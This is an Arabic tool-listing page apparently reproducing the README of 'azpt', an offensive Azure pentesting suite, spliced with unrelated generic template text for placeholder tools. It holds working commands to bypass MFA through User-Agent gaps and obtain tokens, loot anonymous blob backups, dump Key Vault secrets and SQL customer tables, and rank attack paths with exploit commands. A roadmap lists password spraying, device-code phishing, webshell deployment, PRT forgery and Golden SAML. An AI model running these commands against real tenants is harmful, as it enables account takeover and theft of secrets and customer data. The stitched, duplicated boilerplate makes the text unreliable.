pip install -r requirements.txt

# تثبيت الأداة
pip install -e .

التثبيت عبر pip

root@kitploit:~
pip install tool-name

استخدام Docker

root@kitploit:~
# بناء صورة Docker
docker build -t tool-name .

# تشغيل الحاوية
docker run -it --rm tool-name --help

الاستخدام

الاستخدام الأساسي

root@kitploit:~
# عرض قائمة المساعدة
tool-name --help

# تشغيل فحص أساسي
tool-name scan --target example.com

# تشغيل فحص مع خيارات مخصصة
tool-name scan --target example.com --output results.json --verbose

أمثلة متقدمة

root@kitploit:~
# فحص عدة أهداف
tool-name scan --targets targets.txt --threads 10

# استخدام ملف التكوين
tool-name scan --config config.yaml

# تصدير النتائج بتنسيقات مختلفة
tool-name scan --target example.com --format json --output results.json
tool-name scan --target example.com --format csv --output results.csv

خيارات سطر الأوامر

التكوين

ملف التكوين

يمكن تكوين الأداة باستخدام ملف YAML:

root@kitploit:~
# config.yaml
target:
  timeout: 30
  threads: 10

output:
  format: json
  directory: ./results

scan:
  ports: [80, 443, 8080, 8443]
  protocols: [http, https]

متغيرات البيئة

root@kitploit:~
export TOOL_API_KEY="your-api-key"
export TOOL_LOG_LEVEL="debug"
export TOOL_OUTPUT_DIR="/path/to/output"

وحدات الأداة

وحدة الفحص

توفر وحدة الفحص الوظائف الأساسية لفحص الأهداف:

root@kitploit:~
from tool import Scanner

scanner = Scanner(target="example.com")
results = scanner.scan()
print(results)

وحدة التقارير

تتيح وحدة التقارير إنشاء تقارير مخصصة:

root@kitploit:~
from tool import Reporter

reporter = Reporter(results)
reporter.export(format="json", output="report.json")
reporter.export(format="html", output="report.html")

استكشاف الأخطاء وإصلاحها

المشكلات الشائعة

خطأ: لم يتم العثور على الوحدة النمطية

تأكد من تثبيت جميع التبعيات:

root@kitploit:~
pip install -r requirements.txt

خطأ: تم رفض الإذن

قد تحتاج إلى تشغيل الأداة بصلاحيات مرتفعة:

root@kitploit:~
sudo tool-name scan --target example.com

خطأ: انتهت مهلة الاتصال

قم بزيادة قيمة المهلة:

root@kitploit:~
tool-name scan --target example.com --timeout 60

الحصول على المساعدة

  • راجع التوثيق
  • افتح مشكلة
  • انضم إلى قناة Discord``` [·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced) [·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced) [+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge ... OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked

[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"

root@kitploit:~
الفجوة هنا هي حالة جهاز-منصة حيث يتم تحديد *جميع* المنصات —
وهو ما يبدو آمنًا، لكن التقييم لا يفرض MFA إلا عندما يطابق User-Agent
**واحدة منها**. أما User-Agent الذي لا يطابق أيًا منها (جهاز PlayStation 5، أو سلسلة
مُختلقة) فيُمنح الوصول. الآن احصل على رمز مميز قابل للاستخدام وتحرّك داخليًا:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
    -r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
#   Connect-AzAccount -AccessToken $t -AccountId "j.doe"

-r / -c يقبلان إما عنوان URL كامل / معرّف تطبيق أو اسمًا مختصرًا (storage، graph، keyvault؛ cli، office، teams). احصل على رمز Storage بالطريقة نفسها للوصول إلى بيانات blob التي لا يستطيع رمز ARM الوصول إليها:```bash ./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm

root@kitploit:~
`--confirm` إلزامي. يرسل ROPC بيانات اعتماد حقيقية إلى نقطة نهاية الرمز المميز، لذا قد تؤدي المحاولات المتكررة إلى قفل الحساب وإثارة تنبيهات تسجيل الدخول — عملية المسح **مُمرحَلة** (خط الأساس، ثم User-Agents، ثم يوسّع `--full` النطاق ليشمل كل عميل ومورد) للحفاظ على عدد الطلبات منخفضًا، ويقوم `--delay <ms>` بتقييد معدلها.

> ⚠️ اختبار MFA القائم على ROPC تدخّلي ويُسجَّل (يظهر في سجلات تسجيل الدخول في Entra كـ ROPC auth). للمهام المصرّح بها فقط.

## جولة تفصيلية: هجوم blob المجهول

هذا هو سير العمل الرئيسي: اختراق موقع ويب ثابت مُستضاف من Azure Blob storage، **بدون أي بيانات اعتماد**. يعمل *السرد* المجهول عندما يكون مستوى الوصول العام للحاوية مضبوطًا على `Container`؛ بينما تتطلب *تعداد الإصدارات* بالإضافة إلى ذلك تمكين إصدارات blob على الحساب.

للحصول على شرح أعمق لكل خطوة وسبب نجاحها، راجع
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md).```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
#    -> HTTP 200  accessible=true

# 2. List the $web container (the default). Note the "versioning:" line —
#    if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite

# 3. Enumerate versions. This surfaces files removed from the live site,
#    e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite

# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
    --version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip

# 5. Inspect the loot.
unzip loot.zip

لقطة واحدة: blob hunt

يقوم hunt بأتمتة الخطوات 1–4: فهو يتحقق من قائمة بأسماء الحاويات الشائعة، ولكل حاوية يمكن سرد محتوياتها بشكل مجهول، يقوم بإحصاء الإصدارات ويبلّغ عن كل ملف يحتوي على أسرار كاكتشاف.```bash ./azpt blob hunt --account acmewebsite

root@kitploit:~
## التثبيت

### المتطلبات الأساسية

- Python 3.8 أو أحدث
- pip (مدير حزم Python)
- Git

### التثبيت من المصدر

```bash
# استنساخ المستودع
git clone https://github.com/example/security-tool.git
cd security-tool

# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate  # على Windows: venv\Scripts\activate

# تثبيت التبعيات
pip install -r requirements.txt

# تثبيت الأداة
pip install -e .

التثبيت عبر pip

root@kitploit:~
pip install security-tool

استخدام Docker

root@kitploit:~
# بناء صورة Docker
docker build -t security-tool .

# تشغيل الحاوية
docker run -it --rm security-tool --help

الاستخدام

الاستخدام الأساسي

root@kitploit:~
# عرض قائمة المساعدة
security-tool --help

# تشغيل فحص أساسي
security-tool scan --target example.com

# تشغيل فحص مع خيارات متقدمة
security-tool scan --target example.com --depth 3 --output results.json

أمثلة متقدمة

root@kitploit:~
# فحص عدة أهداف
security-tool scan --targets targets.txt --threads 10

# تصدير النتائج بصيغة JSON
security-tool scan --target example.com --format json --output report.json

# استخدام ملف التكوين
security-tool scan --config config.yaml

خيارات سطر الأوامر

التكوين

ملف التكوين

يمكن تكوين الأداة باستخدام ملف YAML:

root@kitploit:~
# config.yaml
target:
  url: https://example.com
  timeout: 30
  retries: 3

scan:
  depth: 3
  threads: 10
  modules:
    - headers
    - ssl
    - ports

output:
  format: json
  file: results.json
  verbose: true

متغيرات البيئة

root@kitploit:~
# تعيين متغيرات البيئة
export SECURITY_TOOL_API_KEY="your-api-key"
export SECURITY_TOOL_TIMEOUT=60
export SECURITY_TOOL_LOG_LEVEL=debug

الوحدات

وحدة الفحص الأمني

تتحقق وحدة الفحص الأمني من الثغرات الأمنية الشائعة:

  • رؤوس HTTP الأمنية المفقودة
  • شهادات SSL/TLS منتهية الصلاحية
  • المنافذ المفتوحة
  • التكوينات الخاطئة

وحدة تحليل الشبكة

تقوم وحدة تحليل الشبكة بتحليل البنية التحتية للشبكة:

  • اكتشاف المضيفين
  • مسح المنافذ
  • بصمة الخدمات
  • رسم خرائط الشبكة

وحدة جمع المعلومات

تجمع وحدة جمع المعلومات بيانات الاستطلاع:

  • سجلات DNS
  • سجلات WHOIS
  • الشهادات الفرعية
  • تقنيات الويب المستخدمة

واجهة برمجة التطبيقات

مثال Python

root@kitploit:~
from security_tool import Scanner

# إنشاء مثيل الماسح الضوئي
scanner = Scanner(target="example.com")

# تشغيل الفحص
results = scanner.scan(depth=3, threads=10)

# معالجة النتائج
for finding in results.findings:
    print(f"[{finding.severity}] {finding.title}")
    print(f"  {finding.description}")

مثال REST API

root@kitploit:~
# بدء خادم API
security-tool api --port 8080

# إرسال طلب فحص
curl -X POST http://localhost:8080/api/scan \
  -H "Content-Type: application/json" \
  -d '{"target": "example.com", "depth": 3}'

المساهمة

نرحب بالمساهمات! يرجى اتباع الخطوات التالية:

  1. قم بعمل fork للمستودع
  2. أنشئ فرعًا للميزة (git checkout -b feature/amazing-feature)
  3. قم بإجراء التغييرات
  4. قم بعمل commit للتغييرات (git commit -m 'Add amazing feature')
  5. ادفع إلى الفرع (git push origin feature/amazing-feature)
  6. افتح طلب سحب (Pull Request)

إرشادات التطوير

  • اتبع معيار PEP 8 لأسلوب الكود
  • أضف اختبارات للميزات الجديدة
  • قم بتحديث الوثائق حسب الحاجة
  • تأكد من اجتياز جميع الاختبارات
root@kitploit:~
# تشغيل الاختبارات
pytest tests/

# تشغيل فحص الأسلوب
flake8 security_tool/

# تشغيل فحص الأنواع
mypy security_tool/

الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

الإخلاء من المسؤولية

هذه الأداة مخصصة لأغراض الاختبار الأمني المصرح به فقط. يجب عليك:

  • الحصول على إذن كتابي قبل اختبار أي نظام
  • الامتثال لجميع القوانين واللوائح المعمول بها
  • عدم استخدام الأداة لأي أنشطة غير قانونية

المطورون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن استخدام هذه الأداة.

الدعم

  • 📖 الوثائق
  • 💬 Discord
  • 🐛 تتبع المشكلات
  • 📧 البريد الإلكتروني

شكر وتقدير

  • شكر خاص لجميع المساهمين
  • مستوحى من أدوات أمنية مفتوحة المصدر أخرى
  • شكر لمجتمع الأمن السيبراني``` account acmewebsite — anonymously listable containers: [$web]

SEVERITY CATEGORY TITLE RESOURCE HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip MEDIUM blob-anon Container allows anonymous listing $web MEDIUM blob-anon Historical blob versions anonymously retrievable $web LOW blob-anon Blob versioning is enabled $web

root@kitploit:~
**قائمة الحاويات المخصصة** — تجاوز قائمة الكلمات المدمجة:```bash
./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'

أنماط الكشف المخصصة — يأخذ --pattern تعبيرات نمطية غير حساسة لحالة الأحرف (قابلة للتكرار). يتم فحصها قبل الأنماط المدمجة وتُصنَّف HIGH، لذا يمكنها أن تتفوق على التصنيف الافتراضي:```bash ./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'

root@kitploit:~
لا شيء حول هدف محدد مُضمَّن بشكل ثابت — الكشف المدمج عبارة عن مجموعة
من التعبيرات النمطية على *فئات* من الملفات الجديرة بالتسريب (انظر [النتائج](#findings)).

---

## النهب المُصادَق عليه

بمجرد حصولك على بيانات الاعتماد، تبرز سيرتا عمل أكثر من غيرهما: فهم ما يمكن
للهوية فعله، والوصول إلى الأسرار.

### ما الذي يمكن لهذه الهوية فعله؟ — `enum access`

أمر واحد يجمع الإجابة، باستخدام الرمز الذي سجلت الدخول به بالفعل:```bash
./azpt enum access

يُبلغ، في أقسام:

  • الهوية — المستخدم/التطبيق + معرّف الكائن + المستأجر (مفكوك الترميز من الرمز المميز)
  • نطاقات Graph المفوضة / أدوار التطبيق — أي استدعاءات للدليل ستنجح
  • أدوار الدليل — على سبيل المثال مسؤول عام يبرز هنا
  • عضويات المجموعات — من /me/memberOf
  • تعيينات أدوار Azure RBAC — اسم الدور + النطاق، لكل اشتراك

الأقسام التي تفتقر إلى إذن لها مُدرجة تحت NOTES بدلاً من إفشال الأمر بأكمله. تستخدم تعيينات أدوار RBAC مرشح assignedTo()، لذا تُضمَّن الأدوار الموروثة من المجموعات، وليس فقط المعيَّنة مباشرة.

رسم بياني لمسار الهجوم — scan

الذروة: يُعدّد scan كامل الوصول الفعّال للمُعرِّف المسجَّل دخوله — المجموعات، وأدوار الدليل، وتعيينات RBAC، والنطاقات، والموارد — ويبني رسمًا بيانيًا لمسار الهجوم على نمط BloodHound. يُعلّم الأهداف عالية القيمة (Key Vaults، والتخزين، وSQL، وتطبيقات الويب، والأجهزة الافتراضية)، وينسب كل دور إلى المستخدم أو المجموعة المحددة التي تمنحه، ويستخلص مسارات هجوم مُقيَّمة مع أمر azpt الدقيق لاستغلال كل منها.```bash ./azpt scan # text summary: paths ranked by value ./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser) ./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ... ./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)

root@kitploit:~
مخرجات `--html` هي **خريطة هجوم تفاعلية مكتفية ذاتيًا** ذات سمة داكنة
(بدون تبعيات خارجية، تعمل بالكامل دون اتصال) تُصيّر كل عقدة باستخدام
**أيقونة خدمة Azure** الحقيقية الخاصة بها. تأتي مرفقة بـ:

- **رسم بياني موجّه بالقوى** مع تكبير/تحريك، وخريطة مصغّرة، و"مناطق" النطاق،
  ومفتاح تبديل فاتح/داكن، وتصدير PNG/JSON؛
- لوحة جانبية بتبويبات — **مسارات الهجوم** (مجمّعة حسب الخطورة، مع أمر
  استغلال قابل للنسخ لكل مسار)، و**نظرة عامة** تُظهر الوصول الفعّال الكامل
  للهوية الرئيسية (الاشتراكات مع أعداد الموارد/الموارد عالية القيمة وحالتها،
  وأدوار الدليل، وعضويات المجموعات، وكل إسناد RBAC)، و**الدليل** الذي يعرض
  مستخدمي المستأجر / مجموعاته / الهويات الخدمية الرئيسية (عندما تستطيع الهوية
  الرئيسية قراءة Graph — مثل دور *Directory Readers* — مع مرشّح مباشر)،
  حيث يؤدي النقر على أي كائن إلى فتح **تفصيل** لسماته ويتيح لك
  **تثبيته على الرسم البياني** أو **توسيع مجموعة/دور إلى أعضائه**، و**الموارد**
  وهي جرد مجمّع حسب نوع الخدمة، و**استعلامات** جاهزة (الوصول إلى Key Vaults /
  Storage / SQL، وتعداد أدوار Owner·Contributor·data-plane·المخصّصة، إلخ)،
  و**مفتاح الرموز**؛

لا تُجمَع علاقات العضوية (مَن ينتمي إلى أي مجموعة/دور) إلا باستخدام
`scan --deep`، الذي يعدّد بالإضافة إلى ذلك أعضاء المجموعات وأدوار الدليل
حتى يتمكن تطبيق الويب من رسم سلاسل الهوية → المجموعة → الوصول:```bash
./azpt scan --deep --html graph.html   # slower; enables expanding identities on the graph
  • انقر على مسار أو نفّذ استعلامًا لإبراز مساره وتعتيم كل ما عداه، وانقر على أي عقدة لعرض بطاقة تفاصيل لعلاقاتها الواردة والصادرة.

مثال على مخرجات النص:``` OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths

[1] score 70 — Customer Database Access on "mbt-finance" → query databases → member of group "CUSTOMER-DATABASE-ACCESS" → holds "Customer Database Access" on RG content-static-2 → which contains Azure SQL server "mbt-finance" (query databases) exploit: azpt sql databases --server

root@kitploit:~
### Key Vault — `vault`

يحتوي Key Vault على **الأسرار والمفاتيح والشهادات**. رؤية خزنة عبر
`enum resources` (ARM) **لا** تعني الوصول إلى مستوى البيانات — قراءة
محتوياتها تتطلب سياسة وصول Key Vault (Get/List) أو دور RBAC المسمى *Key Vault Secrets
User*. بدون ذلك تحصل على `403 Forbidden`، وهو إشارة مفيدة.```bash
# Full inventory: secrets, keys, and certificate names (no values)
./azpt vault list --vault ext-contractors

# Read one secret value
./azpt vault get --vault ext-contractors --secret db-connection-string

# Dump every secret value (the loot); redirect to a file with --json
./azpt vault dump --vault ext-contractors
./azpt --json vault dump --vault ext-contractors > vault-loot.json

vault list يُبلّغ عن كل نوع محتوى بشكل مستقل، لذا فإن خزنة يمكنك فيها سرد الأسرار ولكن ليس المفاتيح لا تزال تُظهر ما يمكنك رؤيته — وتكشف بالضبط أذونات مستوى البيانات التي تمتلكها. غالبًا ما يكون المفتاح الخاص لشهادة ما قابلًا للاسترداد عبر vault get --secret <cert-name>، لأن Key Vault يعرضه من خلال السر الذي يحمل الاسم نفسه.

بالنسبة للسحب السيادية أو نقطة نهاية غير معتادة، مرّر --vault-url بدلًا من --vault.

Azure SQL — sql

عدّد واستعلم عن قواعد بيانات Azure SQL. وضعا مصادقة:

  • رمز Entra ID (افتراضي) — يستخدم بيانات الاعتماد الحالية لديك. يعمل عندما يكون لدى الخادم مسؤول Entra ID ويكون principal الخاص بك مستخدم قاعدة بيانات مُعيَّنًا.
  • تسجيل دخول SQL (--user/--password) — مطلوب عندما لا يكون لدى الخادم مسؤول Entra ID (سترى Login failed ... not currently configured to accept this token على مسار الرمز). جرّب بيانات الاعتماد المستردة من مكان آخر — مثل أسرار Key Vault — هنا.```bash

Entra ID auth

./azpt sql databases --server mbt-finance ./azpt sql tables --server mbt-finance --database Finance ./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables" ./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50

SQL login (recovered creds)

./azpt sql databases --server mbt-finance -U alissa-suarez -P ''

root@kitploit:~
يجب أن يسمح جدار الحماية الخاص بالخادم بعنوان IP المصدر الخاص بك في كلتا الحالتين. يتم التحقق من أسماء الجداول في
`dump` كمعرّفات عادية قبل الاستخدام (لا يمكن
تمريرها كمعاملات في T-SQL)، لذا فإن الحقن عبر `--table` غير ممكن. `sql query` **للقراءة فقط افتراضيًا** — يتم رفض DROP/DELETE/UPDATE/EXEC/xp_cmdshell وغيرها من العبارات المعدِّلة ما لم يتم تمرير `--allow-write`، لذا لا يمكن لتقييم مصرّح به أن يدمّر البيانات عن طريق الخطأ.

### التخزين الموثَّق — `storage`

النظير **الموثَّق** لأوامر `blob` المجهولة: يستخدم
بيانات اعتماد Entra ID الخاصة بك (ما يعادل `az storage ... --auth-mode login`) للوصول إلى
حاويات/كائنات blob **وجداول التخزين**. يتطلب دورًا في مستوى البيانات مثل
*Storage Blob Data Reader* أو *Storage Table Data Reader* — رؤية الحساب
عبر `enum resources` (مستوى التحكم) لا تمنح ذلك؛ يعني `403` أنك تفتقر
إلى دور البيانات.```bash
# Blobs
./azpt storage containers --account custdatabase
./azpt storage blobs      --account custdatabase --container backups
./azpt storage download   --account custdatabase --container backups --blob db.bacpac -o db.bacpac

# Storage Tables (often overlooked — can hold raw records)
./azpt storage tables   --account custdatabase
./azpt storage entities --account custdatabase --table customers
./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100

blob مقابل storage: blob هو عرض المهاجم الخارجي غير المصادق عليه (السرد المجهول، تعداد الإصدارات)؛ storage هو العرض المصادق عليه بمجرد حصولك على بيانات اعتماد. نماذج تهديد مختلفة، كلاهما مُضمَّن.

النتائج

تحمل النتائج معرّفًا ثابتًا، وخطورة، وأدلة، ومعالجة. الكتالوج الكامل مع الأوصاف والإصلاحات موجود في docs/findings.md. ملخص:

STOR-* (التدقيق المصادق عليه) و BLOB-* (المجهول) هما وجهان لعملة واحدة: STOR-001 يقول "الوصول العام مُهيَّأ"؛ BLOB-001 يثبت ذلك فعليًا من خلال سرد الحاوية من الخارج.


صيغ الإخراج

جداول مقروءة للبشر افتراضيًا؛ أضف العلامة العامة --json للحصول على إخراج منظم مناسب لـ jq أو للاستيعاب في خط أنابيب التقارير:```bash ./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")' ./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json

root@kitploit:~
يتم ترتيب النتائج من الأكثر خطورة إلى الأقل في مخرجات الجدول.

---

## البنية```
main.go
internal/
  recon/    unauthenticated outsider recon: realm, tenant, DNS posture,
            subdomain enum (wildcard-aware), user enum, password spray
  scan/     attack-path graph builder + self-contained Azure-themed HTML viz
  azauth/   credential chain, raw token acquisition (ARM + Graph), JWT claims
  azure/    SDK wrappers: subscriptions, resources, storage audit + data plane
            (blobs/tables), key vault, RBAC
  azsql/    Azure SQL client (Entra ID token or SQL login) — query/dump
  graph/    Microsoft Graph REST client (users, groups, SPs, apps, memberOf)
  blob/     anonymous Blob REST client (list/versions/download) + secret classifier
  audit/    pure detection rules over resource views -> findings
  model/    shared types: Resource, Finding, Severity, Report
  output/   JSON + human-readable table rendering
  cli/      cobra command tree, shared bootstrap()

مبادئ التصميم:

  • الكشف مفصول عن الإدخال/الإخراج. قواعد التدقيق ومصنّف أسرار الـ blob دوال خالصة تعمل على عروض مسطّحة، لذا يمكن اختبارها وحديًا دون أي وصول للشبكة.
  • كل شيء يصبح model.Finding. الوحدات الموثّقة والمجهولة تُصدر إلى النوع نفسه، لذا يتعامل --json والتقارير المستقبلية معها بشكل موحّد.
  • مجهول افتراضيًا حيثما أمكن. عميل blob يتحدث مباشرةً مع Blob REST API ولا ينشئ بيانات اعتماد أبدًا.

التطوير```bash

go build ./... # compile everything go test ./... # run unit tests (no Azure connection required) go vet ./... # static checks gofmt -l . # list files needing formatting (should be empty)

root@kitploit:~
يختبر اختبارات عميل blob مسار بناء الطلبات وتحليل XML الحقيقي
مقابل خادم `httptest` محلي، بما في ذلك تعداد الإصدارات، والترقيم،
وحالة `403 PublicAccessNotPermitted` — دون الحاجة إلى حساب تخزين حقيقي.

---

## خارطة الطريق

- [x] استطلاع الخارجي (النطاق فقط): realm، معرّف المستأجر، وضع DNS، النطاقات الفرعية
- [x] تعداد المستخدمين + رشّ كلمات المرور (Entra ID)
- [x] تدقيق فجوات فرض MFA (ROPC عبر الموارد/العملاء/User-Agents)
- [x] المصادقة القائمة على الرموز: `--access-token` / `AZPT_TOKEN` + استرداد تحديث FOCI
- [x] الحصول على رمز الهوية المُدارة عبر IMDS (نقاط نهاية VM + App Service)
- [x] نهب App Service: إعدادات التطبيق، سلاسل الاتصال، بيانات اعتماد Kudu
- [x] تعداد سياسات الوصول الشرطي مع علامات الفجوات (`enum ca`)
- [x] التعداد (ARM): الاشتراكات، الموارد
- [x] التعداد (Graph): المستخدمون، المجموعات، كيانات الخدمة، التطبيقات، المؤسسة، whoami
- [x] مراجعة الوصول: `enum access` — نطاقات الرموز، أدوار الدليل، المجموعات، RBAC
- [x] الأسرار: Key Vault — سرد الأسرار/المفاتيح/الشهادات، قراءة + استخراج قيم الأسرار
- [x] الوصول إلى البيانات: Azure SQL — مصادقة Entra ID أو SQL، سرد/استعلام/استخراج
- [x] الوصول إلى البيانات: التخزين المُصادَق عليه — blobs + Storage Tables
- [x] التدقيق: حسابات التخزين
- [x] هجمات blob المجهولة: فحص، سرد، تعداد الإصدارات، hunt، تنزيل
- [ ] Graph: توسيع RBAC الموروث من المجموعات (أساس privesc)
- [x] القوة الغاشمة المجهولة على حساب التخزين / الحاوية (`blob brute`)
- [x] فحوصات الاستيلاء على النطاقات الفرعية عبر DNS المعلّق (`recon takeover`)
- [x] التدقيق: تعرّض NSG للإنترنت + عناوين IP العامة (`audit network`)
- [x] التدقيق: الوصول العام لـ Key Vault / purge / السياسات + نظافة RBAC (`audit keyvault`/`rbac`)
- [x] الأسرار: مفاتيح التخزين/SAS، runbooks/vars للأتمتة، سجل النشر، VM RunCommand
- [x] `scan`: رسم بياني لمسار الهجوم بنمط BloodHound (نص + JSON + HTML) يربط
      Entra ID (المجموعات/الأدوار) مع ARM RBAC + الموارد
- [x] الصحة: ترقيم ARM/Graph nextLink، تراجع 429/Retry-After، السحابات السيادية (`--cloud`)
- [x] نهب Entra: استرداد مفاتيح Windows LAPS وBitLocker، تعداد منح OAuth (الموافقة غير المشروعة)
- [x] أداة `token decode` (المطالبات + تعيين wids→دور الدليل)
- [x] ARM elevate-access (Global Admin → مسؤول وصول المستخدم لجذر المستأجر)
- [x] كتابات استمرارية Entra: إضافة عضو/مالك، منح الموافقة، دعوة ضيف، إنشاء TAP
- [x] مسارات المجموعات الديناميكية القابلة للانضمام الذاتي موصولة في رسم privesc الخاص بـ `scan`
- [x] استطلاع خارجي بعمق AADInternals (`recon tenantinfo`: الاتحاد / Seamless SSO / المزامنة المحلية)
- [x] hunt الهويات القديمة/الخطرة (`enum risky`)؛ تعداد أجهزة Intune + RCE بدفع السكربت (`intune`)
- [x] الاستمرارية: إنشاء تطبيق+SP+سر، إعادة تعيين كلمة المرور (الاستيلاء على الحساب)
- [x] تصدير BloodHound CE OpenGraph (`scan --bloodhound`)
- [x] رسم تصعيد الامتيازات Entra + ARM في `scan` (SP/app/group مملوك → Global Admin)
- [x] محتوى مستوى البيانات: نظرة خاطفة على قائمة انتظار التخزين، ملفات مشاركة الملفات
- [x] تصعيد امتيازات Entra: تعداد أدوار تطبيق Graph الخطرة + إساءة استخدام بيانات اعتماد app/SP
- [x] تعداد أدوار الدليل المميزة + المؤهلة لـ PIM
- [x] نهب الموارد: مفاتيح Function، تصدير القرص/اللقطة، APIM، Logic Apps، Data Factory
- [x] اتساع مستوى البيانات: مشاركات/قوائم انتظار ملفات التخزين؛ M365 mail/OneDrive/SharePoint
- [x] اتساع الخدمات: نهب مفاتيح AKS (kubeconfig cluster-admin)، Cosmos/ACR/Redis/ServiceBus/EventHub/Cognitive/Batch/AppConfig
- [x] توسيع سلسلة المجموعات العابرة التفاعلي في تطبيق الويب (`--deep` العودي)
- [x] تدفق تصيّد رمز الجهاز (`mfa devicecode`)
- [x] النتائج/MFA معروضة في تطبيق scan الويب (`scan --audit` → تبويب Findings)
- [x] كشف الإجراءات الخطرة للأدوار المخصصة عبر إجراءات/بيانات إجراءات تعريف الدور
- [x] تعداد الوحدة الإدارية وإساءة استخدام الأدوار على نطاق AU (مترابط مع المجموعات الديناميكية → النتيجة 80)
- [x] تحديث ملف تعريف المستخدم لإساءة استخدام المجموعة الديناميكية (`entra update-profile`)
- [x] سرد حاوية blob برمز SAS (`blob containers --sas`)
- [x] توليد نمط اسم المستخدم للاستطلاع (`recon users --first --last --domain`)
- [x] الوصول إلى مستوى بيانات Cosmos DB (سرد/استخراج/جدول)
- [x] نهب Container App، exec، وسرقة رمز الهوية المُدارة
- [x] مفاتيح IoT Hub، سجل الأجهزة، وRCE بالطريقة المباشرة
- [x] استعادة النسخ الاحتياطي لخدمات الاسترداد (تسريب القرص دون اتصال)
- [x] تعداد واستعلام خادم PostgreSQL/MySQL
- [x] تعيين الهوية المُدارة (`enum identities`)، تفويضات Lighthouse، عناوين IP العامة
- [x] فحص `scan --loot` العميق: مفاتيح Function App، kubeconfig AKS، كلمات مرور LAPS، مفاتيح BitLocker، أسرار APIM، قواعد جدار حماية DB، لقطات الأقراص، أدوار RBAC المخصصة ذات أحرف البدل، بيانات اعتماد SP القديمة، تعريفات Logic App
- [x] مصادقة كيان الخدمة القائمة على الشهادات (`--certificate` PFX/PEM)
- [x] رفع ملف Kudu VFS (`webapp deploy`) لنشر webshell
- [x] سرد امتدادات VM (تسريب بيانات اعتماد Custom Script Extension)
- [x] تعداد المستخدمين المتزامنين محليًا مع معرّفات الأمان (`enum synced`)
- [x] معاملات سير عمل Logic App (أسرار مستقلة منفصلة عن التعريف)
- [x] تعداد Power Platform / Dataverse (البيئات، تطبيقات canvas، سرد الجداول، استعلام OData)
- [x] استخراج ذاكرة التخزين المؤقت لرموز MSAL (`token extract` — رموز التحديث + الوصول من `.azure/msal_token_cache.json`)
- [x] اتساع M365: استخراج رسائل Teams، البحث في البريد/الملفات، فحص الأسرار الآلي (`m365 scan`)
- [x] تعداد وإساءة استخدام Azure DevOps: اتصالات الخدمة، مجموعات المتغيرات، معاينة YAML للخط الأنابيب، تشغيل خط أنابيب حقيقي + سجل البناء (`devops`)
- [x] RCE عبر ARM `deploymentScripts` من خلال حاوية ACI عابرة، مع إرفاق الهوية المُدارة (`arm deploy-script`)
- [x] أوليات privesc/الاستمرارية في ARM: تعيين دور RBAC ذاتي/باب خلفي، إرفاق هوية معيّنة من المستخدم (`persistence`)
- [x] توصيل رسم هجوم AKS: عقدة هوية kubelet + RBAC الخاص بها (سحب ACR، إلخ) معروضة كمسارات هجوم مُقيّمة، كشف وضع المصادقة (private/AAD/Azure RBAC/local-accounts-disabled)
- [x] الوصول المباشر إلى Kubernetes API من kubeconfig مسروق (`k8s` — الأسرار، حسابات الخدمة، pods، تعداد privesc لـ RBAC، exec غير تفاعلي للـ pod، سكّ رمز حساب الخدمة)
- [x] محور Azure Workload Identity: استبدال رمز حساب خدمة اتحادي مسروق برمز وصول Azure AD حقيقي دون أي سر (`k8s pivot-azure`)
- [x] استعلامات Azure Resource Graph (KQL): KQL عشوائي (`enum kql`) + سرد الملكية باستعلام واحد (`enum resources --fast`)
- [x] حصاد بيانات الاعتماد المحلية (`harvest`): az CLI (`accessTokens.json`، `azureProfile.json`، `service_principal_entries.json`، ذاكرة MSAL المؤقتة) وAz PowerShell (`AzureRmContext.json`، DPAPI `TokenCache.dat` على Windows)
- [x] إساءة استخدام PRT (`prt`): تزوير ملف تعريف ارتباط SSO `x-ms-RefreshTokenCredential` لـ KDF v2 من PRT + مفتاح جلسة، سلسلة كاملة nonce→cookie→authorize→token؛ استخراج BrowserCore.exe على المضيف (Windows)
- [x] تسجيل الجهاز (`device register`): انضمام جهاز مارق DRS → شهادة/مفتاح الجهاز (متطلب أساسي لـ PRT، تجاوز CA القائم على الجهاز، الاستمرارية)
- [x] هجمات الاتحاد (`federation`): باب خلفي مُدار→اتحادي (`ConvertTo-AADIntBackdoor`) + تزوير Golden SAML واسترداد SAML-bearer (XML-DSig مُتحقق منه مقابل تنفيذ مستقل)
